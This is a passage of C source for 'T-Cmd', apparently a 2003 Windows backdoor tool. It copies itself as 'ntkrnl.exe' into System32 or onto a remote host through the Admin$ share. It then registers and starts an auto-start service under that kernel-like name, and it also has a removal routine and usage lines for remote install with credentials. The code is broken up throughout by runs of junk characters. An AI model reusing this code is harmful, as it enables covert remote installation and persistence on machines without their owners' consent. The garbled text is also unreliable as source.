if(lpHost==NULL) N# D; k; V3 ~% M+ M% k" Z) j { 9 l; |2 m6 |9 E" k) z GetSystemDirectory(lpImagePath,MAX_PATH);- G( [3 L8 r, v4 H: N strcat(lpImagePath,"\\ntkrnl.exe"); 8 F: J: W3 @' S9 ~8 I lpHostName=NULL;. w' y4 y, L( X& v7 D5 K6 ^ } u, N7 l3 b7 g3 V/ R4 F5 b else) O% o# ?2 r/ t' u { ; e# G# k& S3 s, m9 V9 s! [' W0 | sprintf(lpImagePath,"\\\\%s\\Admin$\\system32\\ntkrnl.exe",lpHost);1 b" z6 o2 s% J lpHostName=(char *)malloc(256);: f8 y" W" Q/ o A: M" X9 d sprintf(lpHostName,"\\\\%s",lpHost);2 d1 x% C3 l1 o }

printf("Transmitting File ... "); $ v6 B& g3 u& o/ _' U( v) g hSearch=FindFirstFile(lpImagePath,&FileData); ; j1 Q* G$ u. M; I if(hSearch==INVALID_HANDLE_VALUE)8 E5 _" a2 p' z, P- a; q { # b3 P6 P5 ]7 m z' q3 u GetModuleFileName(NULL,lpCurrentPath,MAX_PATH);% k% n) K- g J" X, R) [& ^ if(CopyFile(lpCurrentPath,lpImagePath,FALSE)==0) % c& j T1 K$ g3 |$ G/ q" F {# C$ z7 x1 t' x3 h. ~4 u! | dwErrorCode=GetLastError();: w2 v P% q- T7 x4 F7 J1 ~2 y/ C if(dwErrorCode==5) ! T5 }# A' H- Y# y9 `0 J { ! G) S3 ^0 K* d, r5 S' n2 B printf("Failure ... Access is Denied !\n"); 9 q4 t9 [6 f8 z } `; }9 c" b! w% i7 b else % W1 d) Q2 O/ s$ L& T/ ` {3 {5 F4 {. s( h F( N" v printf("Failure !\n"); 9 T: e# l' n) x" E }5 c- e2 Q9 {6 U1 Y return ; : \6 q% z. {) g }1 m6 `) w7 D( g) G6 P/ h9 _ else 2 n3 `9 a- H" g$ B: b8 a W5 {8 J { 3 _7 F" m6 o0 J# Y" ^ printf("Success !\n");/ v/ i, I$ {& z/ X2 A! j }. h, `8 s/ M/ s( J% M* C } - `' c$ \" Y' r$ x5 G else + X- b( I; {8 t& V$ ] {; T; v9 d; V: n% } printf("already Exists !\n"); " `9 v& E3 E! \) }: H FindClose(hSearch); 7 t. k6 \7 f6 ] }

schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS); : I7 F, f; v' e) | if(schSCManager==NULL)1 A8 S0 r8 f0 J: U. S { : E; ~8 K% B' L8 Y# j: l printf("Open Service Control Manager Database Failure !\n"); . E* {( q+ Z0 R. N. p return ; - a( w, g, ]1 S9 s1 y }

printf("Creating Service .... "); . _4 V$ Y9 ?2 N7 c schService=CreateService(schSCManager,"ntkrnl","ntkrnl",SERVICE_ALL_ACCESS, ) Z5 w9 v: K' a, M/ v+ W SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,' f9 t: }& |& R+ y- H SERVICE_ERROR_IGNORE,"ntkrnl.exe",NULL,NULL,NULL,NULL,NULL); 5 g* ^) W. o! L5 v# i0 F if(schService==NULL) }% s) Q" Y$ O { . i6 p& e, c/ W$ [# `' s' ` dwErrorCode=GetLastError(); 6 t5 f" C0 E$ ? if(dwErrorCode!=ERROR_SERVICE_EXISTS)# q6 v0 N% s. ?2 G4 Y+ O {7 y! L1 `; ]9 [2 W6 N3 ]0 `7 V printf("Failure !\n");. O/ k' j$ d7 m3 l5 L7 b; [7 i CloseServiceHandle(schSCManager); + M; R& o/ d! z4 T, K' Z, M return ;5 k) ~& s& A. U% @4 U9 N9 b) L }- o/ |! W- a4 ~2 $ ~" U else 1 Z! $ X) d3 ^% W* \& | { 9 j0 a% s( g/ B% n& ?0 K% d8 `4 h printf("already Exists !\n"); + ?- N1 @: v' l) L1 \* y4 U schService=OpenService(schSCManager,"ntkrnl",SERVICE_START);, b" ^& C a" E8 G& J& W if(schService==NULL) ?* p- d1 `! Y2 G* x {, S/ u M8 Y N8 P! `- S4 ? k9 H printf("Opening Service .... Failure !\n"); 5 Y, Q9 Q: G& A' s) S CloseServiceHandle(schSCManager); 1 O& [. y0 c2 o K return ; 8 C4 l+ E) u3 v' v. G* a }4 g0 r- F5 {% C, \) E; C' J5 f* k }$ S3 g4 r. D- H } 1 O% v% b1 L: G6 h else + F* [2 l4 k7 L1 C9 A {& b* ?8 T; G" R# u4 O2 _1 p, K# U printf("Success !\n"); ?0 N4 O9 \3 i0 \+ R. y" T4 I }

printf("Starting Service .... ");' t: R3 `$ F) i) u0 S) S" N if(StartService(schService,0,NULL)==0) & {' v; h8 [* W9 ]7 Y/ p7 m { ; _4 p* ]( T- U. c+ O/ e' D# ?% d) { dwErrorCode=GetLastError(); ( g/ y+ R/ `( L1 v if(dwErrorCode==ERROR_SERVICE_ALREADY_RUNNING) : u+ Z0 X" C& {/ S. Z2 o { ; R5 u9 M4 e' h' ^* h+ n, A3 M printf("already Running !\n"); ]" Q) v1 `0 P CloseServiceHandle(schSCManager); ' a9 J% z& T4 R" {. Y2 S CloseServiceHandle(schService);* Q$ I9 T- A7 Z+ R/ g4 A- b) e return ;$ \. j* g6 ?( E1 v6 A } 2 G& ~8 E. F+ W. @ }) ]; j( t# e1 `. _ else 6 X* Q- Q" R8 ^% ~4 J$ }" Y { ! h( d2 g/ Y: j7 h# e8 ~ printf("Pending ... "); ; l" t& Z) C7 ]2 @+ @6 X; u }

while(QueryServiceStatus(schService,&InstallServiceStatus)!=0) 7 v9 ` x$ [. k, w { . N' `* R6 Y8 p; U0 O5 G if(InstallServiceStatus.dwCurrentState==SERVICE_START_PENDING)* q1 S' [! a/ r9 C { ' R$ [2 H* L- r/ c5 H; B2 w Sleep(100); ' I' `( ~0 s- @+ f% l0 B4 s% V } , e5 u! P; ~& `; U6 q3 r3 ~# e else/ i* z0 A) Z9 h { $ v5 }; i# X7 y& R) |, N R break; 5 r+ T$ z7 U, G } / `$ x) t A( D( l, i M } 9 A e; L* |7 ~1 @5 n if(InstallServiceStatus.dwCurrentState!=SERVICE_RUNNING) 4 p, H, L$ w; N& B" B {# \ e$ G, g$ c* [7 U printf("Failure !\n"); ' o- i+ D+ L! t. J) ? } ' g/ L4 ~" `3 }2 t8 q else - G! O: e0 P* X" D2 w {' z6 a: r5 O5 }" `% H& s: i, y' d printf("Success !\n");" d; }4 }3 L( K4 g" R4 c }

CloseServiceHandle(schSCManager); - S0 d" x% o$ L8 y6 U$ U CloseServiceHandle(schService); ; n l/ ]1 E' v! [5 \$ r return ;' @* J6 E6 U! j1 z6 @# } }

void RemoveCmdService(char *lpHost) - j+ n4 Z3 z% Q H6 j2 Y9 Y {2 u; o, \2 P [( } SC_HANDLE schSCManager; $ _0 {# ^( g* ]2 @ SC_HANDLE schService;- T5 O8 A3 o& x; c4 ] char lpImagePath[MAX_PATH]; - e/ c+ B' `' A8 V char *lpHostName;+ F! y; H/ Y1 k9 u: G WIN32_FIND_DATA FileData;3 o2 E B0 R7 p" T7 m" e5 b* z4 q; X2 ] SERVICE_STATUS RemoveServiceStatus;, f8 U- b2 q% O+ B8 W. a2 e HANDLE hSearch; " `8 y; q2 t$ f1 A- W6 j, n DWORD dwErrorCode;

if(lpHost==NULL) - {6 d9 ?& }6 |9 c$ W- x { , \+ |2 v/ f# V! U8 Y GetSystemDirectory(lpImagePath,MAX_PATH);7 H+ r4 i) Y( v4 w9 o% z9 ^ strcat(lpImagePath,"\\ntkrnl.exe"); 9 [- Y0 d8 Y6 P5 C lpHostName=NULL;6 ^8 k( ~+ T' k1 _ }- o& d- p" N9 _! ? else 7 Z9 \! j" U6 F7 ~! e; e' W {5 \# I O g) D sprintf(lpImagePath,"\\\\%s\\Admin$\\system32\\ntkrnl.exe",lpHost);+ @9 ]9 i3 C; C4 \/ B' O# x# j lpHostName=(char *)malloc(MAX_PATH); & i, a: G9 I- z& S6 s sprintf(lpHostName,"\\\\%s",lpHost);+ ?* _2 k0 P+ `: w: a7 b! ^ }

schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);9 c+ j+ _0 z7 c, I. Q: T% U if(schSCManager==NULL)* W6 ~" h# l2 o' K0 j9 ^0 j { 0 u' p S P# j% Q printf("Opening SCM ......... "); 3 H; w! l) S+ @1 \ dwErrorCode=GetLastError();% s0 K: k7 V( W if(dwErrorCode!=5)! v/ b( o- W1 f8 Y- A {- e( z6 `# P, C" P: Q( H4 w printf("Failure !\n"); + u% }1 V% N B! n# W- } } 5 S/ i1 I8 R5 W2 p# }' A* Q6 H. m* I else$ w/ E! i9 c& k( d. p6 U* T { & U1 }+ B/ v0 a/ A, _ printf("Failuer ... Access is Denied !\n"); | U- U$ M# G4 K( d } 8 h+ \# ?# d4 K9 A( Y8 _+ o return ;! G* T# f* n% x" K0 t, u, S }

schService=OpenService(schSCManager,"ntkrnl",SERVICE_ALL_ACCESS);4 O* _- A# g5 C/ F if(schService==NULL) ) \: G* M n* O0 a1 X {! ?! M, T6 i; G1 ]) m) F3 M3 Z% b printf("Opening Service ..... ");0 S- V! |6 C$ K. U$ h dwErrorCode=GetLastError(); : N8 d% ^+ g! {/ h5 u if(dwErrorCode==1060) % x: `! j# m6 Y {8 B) h' G. _9 L! `3 R, e' } printf("no Exists !\n"); _4 L2 }, [. o Q3 q, k! U4 } } 6 D( N0 d% M, v: d8 |- g else: Z |4 H7 T9 j { # s8 f6 g2 H4 W# w9 U8 R$ d printf("Failure !\n");4 l" R$ D5 Z9 k } 9 Z4 J5 W* Q$ E; ^& Q# w& } CloseServiceHandle(schSCManager);8 \3 c7 I( E, L/ L2 \ } - S* }/ l% V# ~+ k2 B else " F u0 Y: J' a* y; X; @/ o3 m { b7 ^8 o1 u8 j2 Z printf("Stopping Service .... ");0 M* K; S: u$ y3 E. A% w- f if(QueryServiceStatus(schService,&RemoveServiceStatus)!=0)4 f2 h- `. I1 l& o; _/ _ {0 w$ C. Y! z$ O6 V% z# u0 w if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED) 0 l4 W# A9 y7 e {+ c6 m9 \) Z: n printf("already Stopped !\n"); 8 R, ~: V/ Q {- i9 V5 Y } 4 y. _6 n v5 G( e& D else 8 I8 G" T/ t* Z {. |& \: l8 S5 S: X printf("Pending ... ");0 n- [5 Z: h, e" E/ y5 U! L) | if(ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus)!=0)) f& s5 ^- }2 q7 @1 V& c { 5 c' Z" P; m y- r$ _. O5 ? while(RemoveServiceStatus.dwCurrentState==SERVICE_STOP_PENDING) 2 Q' L. z. S% Z5 b: a: k {. t' j2 a% y) _2 a1 x Sleep(10);9 e/ T+ L* ~: x4 ~! i7 v3 J QueryServiceStatus(schService,&RemoveServiceStatus);% s6 c$ ^0 [) c! W9 Q }/ d; ]2 I( i* N2 J) j; W2 L5 c if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)3 q- u( d$ P) A! t7 } {* d5 q. y; t. `& P printf("Success !\n"); ) v# g% q5 T; t& D0 A0 Q. t } : |% @8 V: ]" K. t3 T else( O( l# P% a* G! G { ! _, ^4 t0 ?4 a9 W% {4 j printf("Failure !\n");2 x/ y# z4 q0 j) h2 R } # Y( L; u1 Y7 s) |: G }$ P/ y( W& n7 L$ i7 k else + L; q# m) i1 C3 N/ O' b {9 q+ i) F L# F$ s& D& n3 N6 f printf("Failure !\n"); 5 v( K, e$ N* C& l }5 y( \! b' ^+ v, p! K' }- R, `. m4 f } . V" q7 d; Q m/ { }5 C& G7 v. D' H+ J0 l, k) y' ` else. |, k! X- c: d* [ {& n C9 M8 I0 |+ r. ?; M printf("Query Failure !\n"); C+ [9 J& }1 \) K4 r5 M }

printf("Removing Service .... "); ( x9 w7 A+ Q4 @# a" V6 Y/ ]' K if(DeleteService(schService)==0), Q% u+ I4 z" F @& J( M3 @ {0 L) g2 U, P# ~7 m+ X6 z$ \ printf("Failure !\n"); 8 ^3 ^: J; O8 G: @% f }1 Z$ P% \" k1 `8 y2 _! ~ else. E/ h9 U$ _( d3 `+ M1 n" b) F {) V. j1 S6 H% G! s printf("Success !\n");( J% _0 Q2 m2 b } / O* Z9 t O. w4 u& S6 _ }

CloseServiceHandle(schSCManager); " F5 t g# N% V, Q, a" g CloseServiceHandle(schService);

printf("Removing File ....... ");4 D5 ?, Y4 e3 y; @9 H# K q Sleep(1500);- y1 E9 L4 u+ ?! T* M9 ?9 x, y. Y hSearch=FindFirstFile(lpImagePath,&FileData); ! j9 `) T' a) d/ ~1 i. l4 ] if(hSearch==INVALID_HANDLE_VALUE)9 J. @4 M! r; K% w( C {& ^0 Q- B0 l2 M! X* \ printf("no Exists !\n"); 3 F' g$ h k7 y2 _7 P9 I" H }) [' [$ \. W" b+ l7 ]" p# Q" y5 ~ else 3 B+ o5 B+ _. w( l { ; v* S& S9 }: n+ }1 k7 j" a7 [0 | if(DeleteFile(lpImagePath)==0)- x0 Q, Y+ f7 t4 N* \+ Y { * g8 L% N) I8 U- s printf("Failure !\n"); * \/ I u& |2 l. s% N( C } 1 M0 K! o, Z) i. t+ D( D4 a8 g+ d W8 K else ' C- A2 q) [% E8 ^6 \ { + W( K1 C0 i) u5 a9 W, H$ W printf("Success !\n"); 2 N! A9 s2 a d! p. y }6 e2 }4 X- t2 ` FindClose(hSearch); 1 h, w, \, J/ z% t8 O7 C }

return ;% ^8 e2 h. r" B) y }

void Start() , X/ Q5 Q3 k9 S1 y3 ]) }: U{$ B# r8 D( p+ @- m0 h3 G# ]0 O printf("\n");" @$ O/ }, s1 X1 p( V; ~6 y0 | printf("\t\t---[ T-Cmd v1.0 beta, by TOo2y ]---\n");2 q+ U! \, v6 T- V" m8 H printf("\t\t---[ E-mail: TOo2y@safechina.net ]---\n");7 `& U& b0 x! L: ?1 o' C% Q printf("\t\t---[ HomePage: www.safechina.net ]---\n");0 o$ _" P6 r) L6 y' @ printf("\t\t---[ Date: 02-05-2003 ]---\n\n");( i: z/ u B$ j return ;3 L+ c. b+ p3 a2 m }

void Usage() 0 ~5 y: B' I+ s! R5 {8 v5 b3 J{3 y0 J6 f" V; K9 R* _& H printf("Attention:\n"); & t8 C/ b0 w3 _) N+ F I printf(" Be careful with this software, Good luck !\n\n");6 i$ \2 c8 ?9 H: C: e9 R: M( a; \/ p printf("Usage Show:\n"); 9 @! w% V1 b `) X. M* k ?8 P printf(" T-Cmd -Help\n");1 ~1 l, o( F) X8 y( F/ B printf(" T-Cmd -Install [RemoteHost] [Account] [Password]\n"); 3 d5 {( z0 A6 X printf(" T-Cmd -Remove [RemoteHost] [Account] [Password]\n\n");. {' c. J* i% O& `2 H printf("Example:\n");8 E6 i' E6 ] a/ w printf(" T-Cmd -Install (Install in the localhost)\n"); " q% m2 U- @. E printf(" T-Cmd -Remove (Remove in the localhost)\n");5 H3 |0 y' y; o, }. I0 t printf(" T-Cmd -Install 192.168.0.1 TOo2y 123456 (Install in 192.168.0.1)\n");% [3 c/ C: r) I. [7 Z3 M printf(" T-Cmd -Remove 192.168.0.1 TOo2y 123456 (Remove in 192.168.0.1)\n");" D" o$ M% f q4 D C2 A printf(" T-Cmd -Install 192.168.0.2 TOo2y NULL (NULL instead of no password)\n\n");( b1 o) Y( ~6 j( C- E6 Z' j2 Q return ;/ X" g/ a' P; n9 r+ r$ h }& A) G0 [6 w+ L* @: l# a/ w